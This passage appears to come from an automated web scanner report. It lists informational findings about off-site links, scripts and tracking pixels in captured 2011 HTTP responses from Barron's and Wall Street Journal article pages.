http://barrons.wsj.net/public/resources/images/BA-AV679C_RT_F1_A_20110506200521.jpg
http://barrons.wsj.net/public/resources/images/BA-AV682A_Profi_A_20110506200655.jpg
http://barrons.wsj.net/public/resources/images/BA-AV684C_Grupo_A_20110506200734.jpg
http://barrons.wsj.net/public/resources/images/BA-AV695_chines_A_20110506201609.jpg
http://barrons.wsj.net/public/resources/images/BA-AV696_usstee_A_20110506201855.jpg
http://barrons.wsj.net/public/resources/images/BA-AV699C_scree_A_20110506201934.jpg
http://barrons.wsj.net/public/resources/images/ON-AQ724_HOT_ju_A_20101112122142.jpg
http://barrons.wsj.net/public/resources/images/ON-AR299_SB_Xil_A_20101222130752.jpg
http://barrons.wsj.net/public/resources/images/ON-AS145_HOT_ph_A_20110223180729.jpg
http://barrons.wsj.net/public/resources/images/ON-AT082_cover__A_20110507003906.jpg
http://barrons.wsj.net/public/resources/images/ON-AT135_TRA_Pr_A_20110511182732.jpg
http://barrons.wsj.net/public/resources/images/ON-AT137_BT_Koh_A_20110512134843.jpg
http://barrons.wsj.net/public/resources/images/ON-AT144_TRA_Wa_A_20110512175456.jpg
http://barronsmag.com/conferences/
http://barronsonline.ar.wilink.com/
http://barronsonline.fundinfo.wilink.com/
http://bigcharts.marketwatch.com/
http://c.wsj.net/dynamic/hat/hatloader3.js
http://chinese.wsj.com/gb/index.asp
http://europe.wsj.com/
http://finance.yahoo.com/
http://ie8.smoothfusion.com/Barrons/view.aspx
http://moneycentral.msn.com/home.asp
http://moneycentral.msn.com/investor/home.asp
http://news.moneycentral.msn.com/newscenter/newscenter.asp
http://online.wsj.com/
http://online.wsj.com/americas
http://online.wsj.com/asia
http://online.wsj.com/europe
http://online.wsj.com/home
http://online.wsj.com/portuguese
http://s.wsj.net/javascript/yui-2.5.2.js
http://the-acap.org/acap-enabled.php
http://twitter.com/barronsonline
http://vse.marketwatch.com/Game/Homepage.aspx
http://www.barronsmag.com/advertise.html
http://www.djreprints.com/
http://www.facebook.com/barronsonline
http://www.fins.com/?mod=BOL_footer
http://www.marketwatch.com/
http://www.smartmoney.com/
http://www.smartmoney.com/spend/family-money/new-rules-of-the-credit-card-game-1304255332048/
http://www.wsjlocal.com/
https://store.buysub.com/webapp/wcs/stores/servlet/CategoryDisplay?storeId=50101&catalogId=10701&categoryId=13152
https://store.buysub.com/webapp/wcs/stores/servlet/CategoryDisplay?storeId=50101&catalogId=10701&categoryId=13152&mod=BOL_other_tnav_alert
https://w1.buysub.com/pubs/D2/BSW/Microsite_Index.jsp?cds_page_id=53753&cds_mag_code=BSW&cds_response_key=W9AZBBBV&mod=BOL_other_tnav_alert
https://w1.buysub.com/pubs/D2/BSW/Microsite_Index.jsp?cds_page_id=53753&cds_mag_code=BSW&cds_response_key=W9AZBBBW&mod=BOL_other_tnav_alert
https://w1.buysub.com/servlet/CSGateway?cds_mag_code=BSW&mod=BOL_other_tnav_alert

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:32:51 GMT
Server: Apache/2.0.58 (Unix)
X-DEBUG-BOX-IDENT: sbkj2kapachep02
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /article/barrons_take.html?mod=BOL_other_tnav_analysis
X-DEBUG-NAMESPACE: reno-barrons
X-DEBUG-BOX-IDENT: sbkj2kapachep02
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /entitlements_handler?mg=reno-barrons&url=http%3A%2F%2Fonline.barrons.com%2Farticle%2Fbarrons_take.html%3Fmod%3DBOL_other_tnav_analysis
X-DEBUG-NAMESPACE: reno-barrons
X-DEBUG-BOX-IDENT: sbkj2kapachep02
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /public/article/barrons_take.html
X-DEBUG-NAMESPACE: reno-barrons
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:33:06 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 78948

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<link rel="shortcut icon" href="/favicon.ico" />
<link rel="stylesheet" href="http://barrons.wsj.net/djstyle/0_0_BA_0002-20110427211743.css" type="text/css" /><!--[if lt IE 7]>
...[SNIP]...
<link href='http://online.barrons.com/css/barronsDependencies/autocomplete.css' type="text/css" rel="stylesheet" />
<script type='text/javascript' src='http://s.wsj.net/javascript/yui-2.5.2.js'></script>
...[SNIP]...
</style>
<script type='text/javascript' src='http://c.wsj.net/dynamic/hat/hatloader3.js'></script>
...[SNIP]...
<li id="hat_tab1" class="hat_tab" onmouseover="hat.tabover(this)" onmouseout="hat.tabout(this)">
                   <a id="hat_link1" href="http://online.wsj.com/home" onclick="hat.track('WSJ')"></a>
...[SNIP]...
<li id="hat_tab2" class="hat_tab" onmouseover="hat.tabover(this)" onmouseout="hat.tabout(this)">
                   <a id="hat_link2" href="http://www.marketwatch.com" onclick="hat.track('MW')"></a>
...[SNIP]...
<li id="hat_tab4" class="hat_tab" onmouseover="hat.tabover(this)" onmouseout="hat.tabout(this)">
                   <a id="hat_link4" href="http://allthingsd.com" onclick="hat.track('ATD')"></a>
...[SNIP]...
<li id="hat_more1" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item">
                           <a href="http://bigcharts.marketwatch.com" onclick="hat.track('BC')">BigCharts</a>
...[SNIP]...
<li id="hat_more2" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item">
                           <a href="http://vse.marketwatch.com/Game/Homepage.aspx" onclick="hat.track('VSE')">Virtual Stock Exchange</a>
...[SNIP]...
<li id="hat_more3" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item">
                           <a href="http://online.wsj.com/asia" onclick="hat.track('ASIA')">WSJ Asia</a>
...[SNIP]...
<li id="hat_more4" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item">
                           <a href="http://online.wsj.com/europe" onclick="hat.track('EUR')">WSJ Europe</a>
...[SNIP]...
<li id="hat_more5" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item">
                           <a href="http://online.wsj.com/americas" onclick="hat.track('SPA')">WSJ Americas</a>
...[SNIP]...
<li id="hat_more6" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item">
                           <a href="http://chinese.wsj.com/gb/index.asp" onclick="hat.track('CHI')">WSJ Chinese</a>
...[SNIP]...
<li><a href="https://w1.buysub.com/pubs/D2/BSW/Microsite_Index.jsp?cds_page_id=53753&cds_mag_code=BSW&cds_response_key=W9AZBBBW&mod=BOL_other_tnav_alert">About</a>
...[SNIP]...
<li><a href="https://w1.buysub.com/pubs/D2/BSW/Microsite_Index.jsp?cds_page_id=53753&cds_mag_code=BSW&cds_response_key=W9AZBBBV&mod=BOL_other_tnav_alert">Subscribe</a>
...[SNIP]...
<li><a href="https://store.buysub.com/webapp/wcs/stores/servlet/CategoryDisplay?storeId=50101&catalogId=10701&categoryId=13152&mod=BOL_other_tnav_alert">Latest Issues</a>
...[SNIP]...
<li><a href="https://w1.buysub.com/servlet/CSGateway?cds_mag_code=BSW&mod=BOL_other_tnav_alert">Manage Subscription</a>
...[SNIP]...
is copy is for your personal, non-commerical use only. To order presentation-ready copies for distribution to your colleagues, clients or customers, use the Order Reprints tool on any article or visit <a href="http://www.djreprints.com/">www.djreprints.com</a>
...[SNIP]...
<a href="#" id="abtt.at.print"><img src="http://barrons.wsj.net/img/bol_article_print.gif" /> <span>
...[SNIP]...
<a href="#" id="abtt.at.emailthis"><img src="http://barrons.wsj.net/img/bol_article_email.gif" /> <span>
...[SNIP]...
<a href="#"><img src="http://barrons.wsj.net/img/bol_article_share_dd.gif" alt="">Share</a>
                   <a href="#" class="expand"><img src="http://barrons.wsj.net/img/art_share_arrow.gif" alt="more"></a>
...[SNIP]...
<a href="#" id="abtt.share.twitter"><img src="http://barrons.wsj.net/img/icon_twitter.gif" alt="Twitter">twitter</a>
...[SNIP]...
<a href="#" id="abtt.share.digg"><img src="http://barrons.wsj.net/img/icon_digg.gif" alt="Digg">Digg</a>
...[SNIP]...
<a href="#" id="abtt.share.facebook"><img src="http://barrons.wsj.net/img/icon_facebook.gif" alt="Facebook">facebook</a>
...[SNIP]...
<a href="#" id="abtt.share.linkedin"><img src="http://barrons.wsj.net/img/icon_linkedin.gif" alt="Linkedin">LinkedIn</a>
...[SNIP]...
<a href="#" id="abtt.share.stumble"><img src="http://barrons.wsj.net/img/icon_stumbleupon.gif" alt="Stumbleupon">StumbleUpon</a>
...[SNIP]...
<a href="#" id="abtt.share.ybuzz"><img src="http://barrons.wsj.net/img/icon_buzz.gif" alt="YBuzz">Yahoo! Buzz</a>
...[SNIP]...
<a href="#" id="abtt.share.myspace"><img src="http://barrons.wsj.net/img/icon_myspace.gif" alt="MySpace">MySpace</a>
...[SNIP]...
<a href="#" id="abtt.share.delicios"><img src="http://barrons.wsj.net/img/icon_delicious.gif" alt="Delicious">del.icio.us</a>
...[SNIP]...
<a href="#" id="abtt.share.newswine"><img src="http://barrons.wsj.net/img/icon_newsvine.gif" alt="NewsVine">NewsVine</a>
...[SNIP]...
<a href="#" id="abtt.share.mixx"><img src="http://barrons.wsj.net/img/icon_mixx.gif" alt="Mixx">Mixx</a>
...[SNIP]...
<a href="#articleTabs_panel_article=all" id="abtt.at.singlepage"><img src="http://barrons.wsj.net/img/bol_article_single.gif" /> <span>
...[SNIP]...
<a href="#" id="abtt.at.reprint"><img src="http://barrons.wsj.net/img/bol_article_reprints.gif" /> <span>
...[SNIP]...
<a href="#" id="abtt.at.rssopen"><img src="http://barrons.wsj.net/img/bol_article_rss.gif" /> <span>
...[SNIP]...
<div id="abtt.at.rss" style="border: medium none ; position: absolute; left: 400px; top: 610px; width: 0px; height: 0px; z-index: 4;" class="rssToolBox hidden">
   <img src="http://barrons.wsj.net/barrons-media/gradientbackground.gif" alt="Background image" height="186" width="320" />
       <table cellpadding="0" cellspacing="8" align="center" style="position:absolute;left:10px; top:0px;width:310px;height:180px">
...[SNIP]...
<td align="right" valign="top"> <img alt="Close this window" src="http://barrons.wsj.net/barrons-media/Xclose.gif" id="abtt.at.rssclose" style="padding-top:5px;padding-right:5px;"/></td>
...[SNIP]...
<a href="#" id="abtt.rss.yahoo"><img src="http://barrons.wsj.net/barrons-media/addYahoo_but.gif" border="0" width="91" height="17" alt="My Yahoo Reader" /></a>
...[SNIP]...
<a href="#" id="abtt.rss.google"><img src="http://barrons.wsj.net/barrons-media/addGoogle_but.gif" border="0" width="91" height="17" alt="Google Reader" /></a>
...[SNIP]...
<a href="#" id="abtt.rss.pluck"><img src="http://barrons.wsj.net/barrons-media/addPluck_but.gif" border="0" width="91" height="17" alt="Pluck Reader" /></a>
...[SNIP]...
<a href="#" id="abtt.rss.live"><img src="http://barrons.wsj.net/barrons-media/windowsLive_but.gif" border="0" width="92" height="17" alt="Windows Live Reader" /></a>
...[SNIP]...
<a href="#" id="abtt.rss.msn"><img src="http://barrons.wsj.net/barrons-media/myMsn_but.gif" border="0" width="80" height="14" alt="MSN Reader" /></a>
...[SNIP]...
<a href="#" id="abtt.rss.newsgator"><img src="http://barrons.wsj.net/barrons-media/addNewsgator_but.gif" border="0" width="91" height="17" alt="Newsgator Reader" /></a>
...[SNIP]...
<a href="#" id="abtt.rss.netvibes"><img src="http://barrons.wsj.net/barrons-media/addNetvibes_but.gif" border="0" width="91" height="17" alt="Netvibes Reader" /></a>
...[SNIP]...
<a id="abtt.rss.aol" href="#"><img src="http://barrons.wsj.net/barrons-media/addAol_but.gif" border="0" width="63" height="14" alt="AOL Reader"></a>
...[SNIP]...
</a> and by copyright law. For non-personal use or to order multiple copies, please contact Dow Jones Reprints at 1-800-843-0008 or visit <a href="http://www.djreprints.com">www.djreprints.com</a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970204097904576319690772567626.html?mod=BOL_article_snippet_NewsCar_oe"><img src="http://barrons.wsj.net/public/resources/images/ON-AR299_SB_Xil_A_20101222130752.jpg" vspace="0" hspace="0" border="0" alt="[SB_Xilinx_1222]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970204097904576319400233488930.html?mod=BOL_article_snippet_NewsCar_oe"><img src="http://barrons.wsj.net/public/resources/images/ON-AT144_TRA_Wa_A_20110512175456.jpg" vspace="0" hspace="0" border="0" alt="[TRA_WadofCash_0]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970204097904576319201655268440.html?mod=BOL_article_snippet_NewsCar_oe"><img src="http://barrons.wsj.net/public/resources/images/ON-AT137_BT_Koh_A_20110512134843.jpg" vspace="0" hspace="0" border="0" alt="[BT_KohlsApparel]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970204097904576319280553608472.html?mod=BOL_article_snippet_NewsCar_oe"><img src="http://barrons.wsj.net/public/resources/images/ON-AQ724_HOT_ju_A_20101112122142.jpg" vspace="0" hspace="0" border="0" alt="[HOT_junipernetw]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970204224904576317673378246188.html?mod=BOL_article_snippet_NewsCar_oe"><img src="http://barrons.wsj.net/public/resources/images/ON-AS145_HOT_ph_A_20110223180729.jpg" vspace="0" hspace="0" border="0" alt="[HOT_pharma_0224]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970204224904576317561824775494.html?mod=BOL_article_snippet_NewsCar_oe"><img src="http://barrons.wsj.net/public/resources/images/ON-AT135_TRA_Pr_A_20110511182732.jpg" vspace="0" hspace="0" border="0" alt="[TRA_Praxair_051]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<h2><a class="" href="http://www.smartmoney.com/spend/family-money/new-rules-of-the-credit-card-game-1304255332048/" target="_blank">How to Play the New Credit Card Offers (From SmartMoney.com)</a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970203962604576301571681408478.html?mod=BOL_article_snippet_NewsCar_twm"><img src="http://barrons.wsj.net/public/resources/images/ON-AT082_cover__A_20110507003906.jpg" vspace="0" hspace="0" border="0" alt="[cover_0509jpg]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970203600104576299241113345206.html?mod=BOL_article_snippet_NewsCar_twm"><img src="http://barrons.wsj.net/public/resources/images/BA-AV672B_AIG_p_A_20110506200203.jpg" vspace="0" hspace="0" border="0" alt="[AIG_p1]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970203962604576301162546024644.html?mod=BOL_article_snippet_NewsCar_twm"><img src="http://barrons.wsj.net/public/resources/images/BA-AV684C_Grupo_A_20110506200734.jpg" vspace="0" hspace="0" border="0" alt="[Grupo Prisa art]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970203653904576303082260414622.html?mod=BOL_article_snippet_NewsCar_twm"><img src="http://barrons.wsj.net/public/resources/images/BA-AV695_chines_A_20110506201609.jpg" vspace="0" hspace="0" border="0" alt="[chinesebuf_i]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970203962604576301412217199734.html?mod=BOL_article_snippet_NewsCar_twm"><img src="http://barrons.wsj.net/public/resources/images/BA-AV679C_RT_F1_A_20110506200521.jpg" vspace="0" hspace="0" border="0" alt="[RT_F1]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970203600104576299382204179832.html?mod=BOL_article_snippet_NewsCar_twm"><img src="http://barrons.wsj.net/public/resources/images/BA-AV682A_Profi_A_20110506200655.jpg" vspace="0" hspace="0" border="0" alt="[Profile Cook]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970203600104576299242974494856.html?mod=BOL_article_snippet_NewsCar_twm"><img src="http://barrons.wsj.net/public/resources/images/BA-AV699C_scree_A_20110506201934.jpg" vspace="0" hspace="0" border="0" alt="[screen_ia]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970203653904576302990563518466.html?mod=BOL_article_snippet_NewsCar_twm"><img src="http://barrons.wsj.net/public/resources/images/BA-AV696_usstee_A_20110506201855.jpg" vspace="0" hspace="0" border="0" alt="[ussteel_i]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...
<h2><a href="http://finance.yahoo.com/" target="_blank" class="yahoo">Back To</a>
...[SNIP]...
<li><a href="http://news.moneycentral.msn.com/newscenter/newscenter.asp" target="_blank" class="msn"></a>
...[SNIP]...
<h2><a href="http://moneycentral.msn.com/home.asp" target="_blank">MSN Money Homepage</a>
...[SNIP]...
<h2><a href="http://moneycentral.msn.com/investor/home.asp" target="_blank">MSN Money Investing</a>
...[SNIP]...
<a href="http://blogs.barrons.com/stockstowatchtoday?mod=BOL_article_snippet_blog_stw"><img alt="Avi Salzman" src="http://barrons.wsj.net/barrons-media/avi_salzman-headshot.gif"></a>
...[SNIP]...
<a href="http://blogs.barrons.com/techtraderdaily?mod=BOL_article_snippet_blog_techtrader"><img alt="Tiernan Ray" src="http://barrons.wsj.net/barrons-media/tiernan_ray-headshot.gif"></a>
...[SNIP]...
<a href="http://blogs.barrons.com/focusonfunds?mod=BOL_article_snippet_blog_etf"><img alt="Murray Coleman" src="http://barrons.wsj.net/barrons-media/murray_coleman-headshot.gif"></a>
...[SNIP]...
</div>

<a rel="entry-content" href="http://ie8.smoothfusion.com/Barrons/view.aspx" style="display: none;">Link to Barron's Slice.</a>
...[SNIP]...
<li class="acapLogo"><a href="http://the-acap.org/acap-enabled.php" rel="nofollow"><img class="acapLogo" src="http://barrons.wsj.net/img/acapLogo.gif" alt="ACAP Enabled"/></a>
...[SNIP]...
<li><a href="http://www.barronsmag.com/advertise.html" rel="nofollow">Advertising</a>
...[SNIP]...
<li><a href="http://www.wsjlocal.com/" rel="nofollow">Advertise Locally</a>
...[SNIP]...
<li><a href="https://store.buysub.com/webapp/wcs/stores/servlet/CategoryDisplay?storeId=50101&catalogId=10701&categoryId=13152" rel="nofollow">Daily Stock Alert</a>
...[SNIP]...
<li><a href="http://barronsmag.com/conferences/" rel="nofollow">Conferences</a>
...[SNIP]...
<li><a href="http://www.djreprints.com/" rel="nofollow">Reprints</a>
...[SNIP]...
<li class="feedMe"><a class="facebook" href="http://www.facebook.com/barronsonline" rel="nofollow" >Barron's on Facebook</a>
...[SNIP]...
<li class="feedMe"><a class="twitter" href="http://twitter.com/barronsonline" rel="nofollow">Barron's on Twitter</a>
...[SNIP]...
<li><a href="http://barronsonline.ar.wilink.com">Annual Reports</a>
...[SNIP]...
<li><a href="http://barronsonline.fundinfo.wilink.com">Fund Prospectuses</a>
...[SNIP]...
<strong><img alt="The Wall Street Journal" src="http://barrons.wsj.net/img/footer_logo_small.png"></strong>
...[SNIP]...
<li><a href="http://online.wsj.com">WSJ.com</a>
...[SNIP]...
<li><a href="http://www.marketwatch.com">MarketWatch.com</a>
...[SNIP]...
<li><a href="http://www.smartmoney.com">SmartMoney.com</a>
...[SNIP]...
<li><a href="http://allthingsd.com">AllThingsD.com</a>
...[SNIP]...
<li><a href="http://www.fins.com/?mod=BOL_footer">FINS.com</a>
...[SNIP]...
<li><a href="http://bigcharts.marketwatch.com">BigCharts.com</a>
...[SNIP]...
<li><a href="http://vse.marketwatch.com/Game/Homepage.aspx">Virtual Stock Exchange</a>
...[SNIP]...
<li><a href="http://online.wsj.com">WSJ U.S. Edition</a>
...[SNIP]...
<li><a href="http://asia.wsj.com">WSJ Asia Edition</a>
...[SNIP]...
<li><a href="http://europe.wsj.com">WSJ Europe Edition</a>
...[SNIP]...
<li><a href="http://chinese.wsj.com/gb/index.asp">WSJ Chinese</a>
...[SNIP]...
<li><a href="http://online.wsj.com/portuguese">WSJ Portuguese</a>
...[SNIP]...
<li><a href="http://online.wsj.com/americas">WSJ Spanish</a>
...[SNIP]...
</div><script type="text/javascript" src="http://barrons.wsj.net/djscript/j_global_slim-20110427211743.js"></script>
<script type="text/javascript" src="http://barrons.wsj.net/djscript/bucket/NA/page/0_0_BA_0002/provided/bolGlobal,bolTracking/version/20110427211743.js"></script>
...[SNIP]...

19.116. http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703864204576321552255041680.html

Issue detail

The page was loaded from a URL containing a query string:

http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories

The response contains the following links to other domains:

http://ad.doubleclick.net/activity;src=490793;type=healt926;cat=snipp989;ord=1?
http://adsyndication.msn.com/delivery/getads.js
http://allthingsd.com/
http://allthingsd.com/?reflink=DNH_EUR&mod=WSJ_footer
http://bigcharts.marketwatch.com/
http://bigcharts.marketwatch.com/?mod=WSJ_footer
http://finance.yahoo.com/
http://ie8.smoothfusion.com/WallStreetJournal/view.aspx
http://it-jobs.fins.com/?mod=WSJ_footer
http://leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=wsj_snippet_cs=1&betq=4544=381370
http://leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=wsj_snippet_cs=2&betq=4544=381371
http://moneycentral.msn.com/
http://moneycentral.msn.com/investor/home.asp
http://online.barrons.com/home
http://online.barrons.com/public/main?mod=WSJ_footer
http://sales-jobs.fins.com/?mod=WSJ_footer
http://stags.peer39.net/712/trg_712.js
http://the-acap.org/acap-enabled.php?mod=WSJ_footer
http://vse.marketwatch.com/Game/Homepage.aspx
http://vse.marketwatch.com/Game/Homepage.aspx?mod=WSJ_footer
http://wsj.iamplify.com/?mod=WSJ_footer
http://wsjradio.com/?mod=WSJ_footer
http://www.dj.com/?mod=WSJ_footer
http://www.djreprints.com/
http://www.djreprints.com/?mod=WSJ_footer
http://www.efinancialnews.com/
http://www.facebook.com/wsjonline?mod=WSJ_footer
http://www.fins.com/
http://www.fins.com/?mod=WSJ_footer
http://www.fins.com/finance/?mod=WSJ_footer
http://www.marketwatch.com/
http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink&mod=WSJ_footer
http://www.smartmoney.com/
http://www.smartmoney.com/?mod=WSJ_footer
http://www.wallstreetjournal.com/
http://www.wsj-asia.com/flp/about.html?mod=WSJ_footer
http://www.wsjdigital.com/?mod=WSJ_footer
http://www.wsjlocal.com/?mod=WSJ_footer
http://www.wsjradio.com/
http://www.wsjwine.com/
https://www.wsjsafehouse.com/

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:42 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep06 - Sat 05/14/11 - 01:29:46 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:09:57 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 140560

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<li class="hat_tab" id="hat_tab2">
<a onclick="hat.track('MW')" href="http://www.marketwatch.com" id="hat_link2"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab3">
<a onclick="hat.track('BOL')" href="http://online.barrons.com/home" id="hat_link3"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab4">
<a onclick="hat.track('ATD')" href="http://allthingsd.com" id="hat_link4"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab6">
<a onclick="hat.track('FINS')" href="http://www.fins.com" id="hat_link5"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab7">
<a onclick="hat.track('SM')" href="http://www.smartmoney.com" id="hat_link6"></a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more0"><a href="http://bigcharts.marketwatch.com/">Big Charts</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more1"><a href="http://vse.marketwatch.com/Game/Homepage.aspx">Virtual Stock Exchange</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more8"><a href="http://www.wsjradio.com">WSJ Radio</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more9"><a href="http://www.efinancialnews.com/">Financial News</a>
...[SNIP]...
<li class="hat_drop_item lifestyleItem" id="hat_more11"><a href="http://www.wsjwine.com/">WSJ<span>
...[SNIP]...
your personal, non-commercial use only. To order presentation-ready copies for distribution to your colleagues, clients or customers, use the Order Reprints tool at the bottom of any article or visit
<a class="firstLink" href="http://www.djreprints.com" target="_blank">www.djreprints.com</a>
...[SNIP]...
<noscript>
<img src="http://ad.doubleclick.net/activity;src=490793;type=healt926;cat=snipp989;ord=1?" width="1" height="1" border="0" alt=""/>
</noscript>

<img src="http://leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=wsj_snippet_cs=1&betq=4544=381370" width="1" height="1" border="0" alt=""/>

<img src="http://leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=wsj_snippet_cs=2&betq=4544=381371" width="1" height="1" border="0" alt=""/>
<div class="articleHeadlineBox headlineType-newswire">
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...
<p><a href="http://www.djreprints.com">www.djreprints.com</a>
...[SNIP]...
<h2><a rel="nofollow" class="yahoo" target="_blank" href="http://finance.yahoo.com" title="[Back to Yahoo! Finance]">Back To </a>
...[SNIP]...
<li><a rel="nofollow" class="msn" target="_blank" href="http://moneycentral.msn.com/" title="[Back to MSN Money]"></a></li>
<li><h2><a rel="nofollow" target="_blank" href="http://moneycentral.msn.com/">MSN Money Homepage</a>
...[SNIP]...
<h2><a rel="nofollow" target="_blank" href="http://moneycentral.msn.com/investor/home.asp">MSN Money Investing</a>
...[SNIP]...
</div>
<a rel="entry-content" href="http://ie8.smoothfusion.com/WallStreetJournal/view.aspx">LINKS TO ACTUAL PAGE CONTAINING WEB SLICE FUNCTIONALITY.</a>
<a rel="bookmark" target="_blank" href="http://www.wallstreetjournal.com" ></a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.djreprints.com/?mod=WSJ_footer">Reprints</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.wsjdigital.com/?mod=WSJ_footer">Advertising</a>
...[SNIP]...
<li><a href="http://www.wsjlocal.com/?mod=WSJ_footer" rel="nofollow">Advertise Locally</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.dj.com/?mod=WSJ_footer">About Dow Jones</a>
...[SNIP]...
<li id="futureLeadProgLink" style="display:none;"><a href="http://www.wsj-asia.com/flp/about.html?mod=WSJ_footer" rel="nofollow">Future Leadership Program</a>
...[SNIP]...
<li><a href="https://www.wsjsafehouse.com/">SafeHouse - Send Us Information</a>
...[SNIP]...
<li><a class="icon_facebook" href="http://www.facebook.com/wsjonline?mod=WSJ_footer" target="_blank">WSJ on Facebook</a>
...[SNIP]...
<li><a href="http://wsj.iamplify.com/?mod=WSJ_footer">WSJ Digital Downloads</a>
...[SNIP]...
<li><a href="http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink&mod=WSJ_footer">Marketwatch.com</a>
...[SNIP]...
<li><a href="http://online.barrons.com/public/main?mod=WSJ_footer">Barrons.com</a>
...[SNIP]...
<li><a href="http://www.smartmoney.com/?mod=WSJ_footer">SmartMoney.com</a>
...[SNIP]...
<li><a href="http://allthingsd.com/?reflink=DNH_EUR&mod=WSJ_footer">AllThingsD.com</a>
...[SNIP]...
<li class="fins"><a href="http://www.fins.com/?mod=WSJ_footer">FINS:</a> <a href="http://www.fins.com/finance/?mod=WSJ_footer">Finance,</a> <a href="http://it-jobs.fins.com/?mod=WSJ_footer">IT jobs,</a> <a href="http://sales-jobs.fins.com/?mod=WSJ_footer">Sales jobs</a>
...[SNIP]...
<li><a href="http://bigcharts.marketwatch.com/?mod=WSJ_footer">BigCharts.com</a>
...[SNIP]...
<li><a href="http://vse.marketwatch.com/Game/Homepage.aspx?mod=WSJ_footer">Virtual Stock Exchange</a>
...[SNIP]...
<li><a rel="nofollow" href="http://wsjradio.com?mod=WSJ_footer">WSJ Radio</a>
...[SNIP]...
<small class="acapLogo"><a href="http://the-acap.org/acap-enabled.php?mod=WSJ_footer" target="_blank"><span>
...[SNIP]...
</script>
<script type="text/javascript" src="http://stags.peer39.net/712/trg_712.js"></script>
...[SNIP]...

19.117. http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748704681904576315662838806984.html

Issue detail

